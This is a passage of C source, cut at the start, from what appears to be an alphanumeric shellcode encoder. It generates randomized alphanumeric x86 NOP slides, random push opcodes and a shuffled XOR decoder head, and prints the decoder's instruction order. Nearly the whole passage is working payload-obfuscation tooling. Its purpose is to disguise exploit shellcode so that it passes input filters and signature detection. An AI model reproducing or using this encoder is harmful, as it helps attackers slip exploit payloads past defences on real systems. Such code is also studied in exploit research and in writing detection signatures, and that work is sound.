    strncpy(output_str+prefix_substr_len, suffix_substr, slide);
    strncpy(output_str+prefix_substr_len+slide, substr, substr_len);
    strncpy(output_str+prefix_substr_len+slide+substr_len, suffix_substr+slide, 
suffix_substr_len-slide);


    free(prefix_substr);
    free(suffix_substr);
    free(substr);
    return output_str;
}

UCHAR *get_nop_slide(UINT size, UINT slide)
{   //simple alnum nop slide generator
    UINT i, x, append_dec_eax = 0;
    UCHAR alnum_nop[][3] = {
        "AI", //inc ecx;dec ecx // (alnum_nop[0])
        "BJ", //inc edx;dec edx // (alnum_nop[1])
        "CK", //inc ebx;dec ebx // (alnum_nop[2])
        "EM", //inc ebp;dec ebp // (alnum_nop[3])
        "FN", //inc esi;dec esi // (alnum_nop[4])
        "GO", //inc edi;dec edi // (alnum_nop[5])                               
 [we don't care about eax value before the imul]
        "HG", //dec eax;inc edi // (alnum_nop[6]) --- not allowed in 
nop_slide_2 [instruction as it overwrites eax with result ]
        "HO", //dec eax;dec edi // (alnum_nop[7]) --- not allowed in 
nop_slide_2 [and we don't care about edi value at all.    ]

        "DL", //inc esp;dec esp // (alnum_nop[8]) --- [todo: need to preserve 
stack state] >--. //we can freely inc/dec esp for now
//      "PX", //push eax;pop eax// (alnum_nop[9]) --- [todo: need to preserve 
stack state] >--| //but we need to take it into account
//      "QY", //push ecx;pop ecx// (alnum_nop[10]) ---[todo: need to preserve 
stack state] >--| //once we start pushing/poping to/from
//      "RZ", //push edx;pop edx// (alnum_nop[11]) ---[todo: need to preserve 
stack state] >--' //the stack.
//                                                                              
              |
//TODO:   
<-----------------------------------------------------------------------------------'
//    push eax   push eax   push eax   push ecx  push edx   
//    pop eax    push ecx   push ecx   dec esp   pop edx    
//    push ecx   pop ecx    push edx   inc esp   push ecx   
//    pop ecx    pop eax    inc esp    pop ecx   pop ecx    
//    push edx   push edx   dec esp    push eax  push eax   
//    pop edx    pop edx    pop edx    inc esp   pop eax    
//                          pop ecx    dec esp   .          
//                          pop eax    pop eax   .          
//                                     push edx  .          
//                                     pop edx   etc...     
    };
    UCHAR *nop_slide;
    nop_slide = malloc(size);
    memset(nop_slide, 0, size);
    if(size%2)
    {
        append_dec_eax = 1;
        size--;
    }
    for(i=0; i<(size/2); i++) {
        do 
            x = rand()%(sizeof(alnum_nop)/3);
        while
            ((slide==2)&&(x==6||x==7));
        strcat(nop_slide, alnum_nop[x]);
    }
    if(append_dec_eax)
    {
        strcat(nop_slide, slide==1?"H":rand()%2?"G":"O"); //dec eax or inc/dec 
edi - depends on which nop slide
    }
    return nop_slide;
}

UCHAR get_random_alnum_push_dword_opcode()
{
    UCHAR alnum_push_dword_opcode[] =
    {
        'P', //0x50 push eax
        'Q', //0x51 push ecx
        'R', //0x52 push edx
        'S', //0x53 push ebx
        'T', //0x54 push esp
        'U', //0x55 push ebp
        'V', //0x56 push esi
        'W'  //0x57 push edi
    };
    return alnum_push_dword_opcode[rand()%sizeof(alnum_push_dword_opcode)];
}

UCHAR get_random_alnum_value()
{
    char alnum_values[] = ALNUM_CHARSET;
    return alnum_values[rand()%strlen(alnum_values)];
}

UCHAR get_push_register_instruction(UCHAR *reg)
{
         if (!strcmp(reg, "eax")) return 'P'; //0x50 push eax
    else if (!strcmp(reg, "ecx")) return 'Q'; //0x51 push ecx
    else if (!strcmp(reg, "edx")) return 'R'; //0x52 push edx
    else if (!strcmp(reg, "ebx")) return 'S'; //0x53 push ebx
    else if (!strcmp(reg, "esp")) return 'T'; //0x54 push esp
    else if (!strcmp(reg, "ebp")) return 'U'; //0x55 push ebp
    else if (!strcmp(reg, "esi")) return 'V'; //0x56 push esi
    else if (!strcmp(reg, "edi")) return 'W'; //0x57 push edi
    else return 0;
}

UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, 
UCHAR jne_xor1)
{
    UCHAR states[11] = {0,1,2,3,4,5,6,7,8,9,10};
    UCHAR instructions[11][3];
    UCHAR instruction_comments[11][28];
    UINT i,c, state;
    UCHAR *output;
    UCHAR *random_states;
    UCHAR *p_state[5];

    output = malloc(17);
    memset(output, 0, 17);
    memset(instructions, 0, 11*3);
    memset(instruction_comments, 0, 11*28);
    instructions[0][0] = '\x6a';         //j
    instructions[0][1] = xor_al1;        //
    instructions[1][0] = '\x58';         //X
    instructions[2][0] = '\x34';         //4
    instructions[2][1] = xor_al1;        //
    instructions[3][0] = '\x48';         //H
    instructions[4][0] = '\x34';         //4
    instructions[4][1] = jne_xor1;       //
    instructions[5][0] = '\x30';         //0
    instructions[5][1] = '\x42';         //B
    instructions[5][2] = size_decoder-1; //
    instructions[6][0] = '\x52';         //R
    instructions[7][0] = '\x52';         //R
    instructions[8][0] = '\x59';         //Y
    instructions[9][0] = '\x47';         //G
    instructions[10][0] = '\x43';        //C

    strcat(instruction_comments[0], "push XOR_AL1");
    strcat(instruction_comments[1], "pop eax");
    strcat(instruction_comments[2], "xor al, XOR_AL1");
    strcat(instruction_comments[3], "dec eax");
    strcat(instruction_comments[4], "xor al, JNE_XOR1");
    strcat(instruction_comments[5], "xor byte ptr [edx+size], al");
    strcat(instruction_comments[6], "push edx");
    strcat(instruction_comments[7], "push edx");
    strcat(instruction_comments[8], "pop ecx");
    strcat(instruction_comments[9], "inc edi");
    strcat(instruction_comments[10], "inc ebx");
    do {
        memset(p_state, 0, sizeof(UCHAR*)*5);
        random_states = shuffle(states, 11);
        
        //.*0.*1.*2.*3.*4.*5
        p_state[0] = memchr(random_states, 0, 11);
        if(p_state[0])
            p_state[1] = memchr(p_state[0], 1, 11-(p_state[0]-random_states));
        if(p_state[1])
            p_state[1] = memchr(p_state[1], 2, 11-(p_state[1]-random_states));
        if(p_state[1])
            p_state[1] = memchr(p_state[1], 3, 11-(p_state[1]-random_states));
        if(p_state[1])
            p_state[1] = memchr(p_state[1], 4, 11-(p_state[1]-random_states));
        if(p_state[1])
            p_state[1] = memchr(p_state[1], 5, 11-(p_state[1]-random_states));

         //.*[67].*8
        if(p_state[1])
        {
            p_state[2] = memchr(random_states, 6, 11);
            p_state[3] = memchr(p_state[2], 8, 11-(p_state[2]-random_states));
            if(!p_state[3])
            {
                p_state[2] = memchr(random_states, 7, 11);
                p_state[3] = memchr(p_state[2], 8, 
11-(p_state[2]-random_states));
            }
            if(p_state[3])
            {
                //.*1.*[67].*[67]
                if(p_state[2] && p_state[1] < p_state[2])
                    p_state[4] = memchr(p_state[2], *p_state[2]==6?7:6, 
11-(p_state[2]-random_states));

                //.*0.*[67].*8.*1
                if(!p_state[4])
                    p_state[4] = memchr(p_state[0], 6, 
11-(p_state[0]-random_states));
                if(!p_state[4])
                    p_state[4] = memchr(p_state[0], 7, 
11-(p_state[0]-random_states));
                if(p_state[4])
                    p_state[4] = memchr(p_state[4], 8, 
11-(p_state[4]-random_states));
                if(p_state[4])
                    p_state[4] = memchr(p_state[4], 1, 
11-(p_state[4]-random_states));

                //.*[67].*8.*0.*1.*[67]
                if(!p_state[4])
                    p_state[4] = memchr(p_state[3], 0, 
11-(p_state[3]-random_states));
                if(p_state[4])
                    p_state[4] = memchr(p_state[4], 1, 
11-(p_state[3]-random_states));
                if(p_state[4])
                    p_state[4] = memchr(p_state[4], *p_state[3]==6?7:6, 
11-(p_state[4]-random_states));
            }
        }

    }
    while (!p_state[4]);

    for (c=state=0; state<sizeof(states); state++) {
        i=0;
        while (instructions[random_states[state]][i] && i < 3) {
            output[c] = instructions[random_states[state]][i];
            i++;
            c++;
        }
    }

    printf("======================\ndecoder head instruction order: %x %x %x %x 
%x %x %x %x %x %x %x\n",
        random_states[0],
        random_states[1],
        random_states[2],
        random_states[3],
        random_states[4],
        random_states[5],
        random_states[6],
        random_states[7],
        random_states[8],
        random_states[9],
        random_states[10]
        );

    printf("%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n" \
           "%s\n======================\n",
        instruction_comments[random_states[0]],
        instruction_comments[random_states[1]],
        instruction_comments[random_states[2]],
        instruction_comments[random_states[3]],
        instruction_comments[random_states[4]],
        instruction_comments[random_states[5]],
        instruction_comments[random_states[6]],
        instruction_comments[random_states[7]],
        instruction_comments[random_states[8]],
        instruction_comments[random_states[9]],
        instruction_comments[random_states[10]]);

    return output;
}
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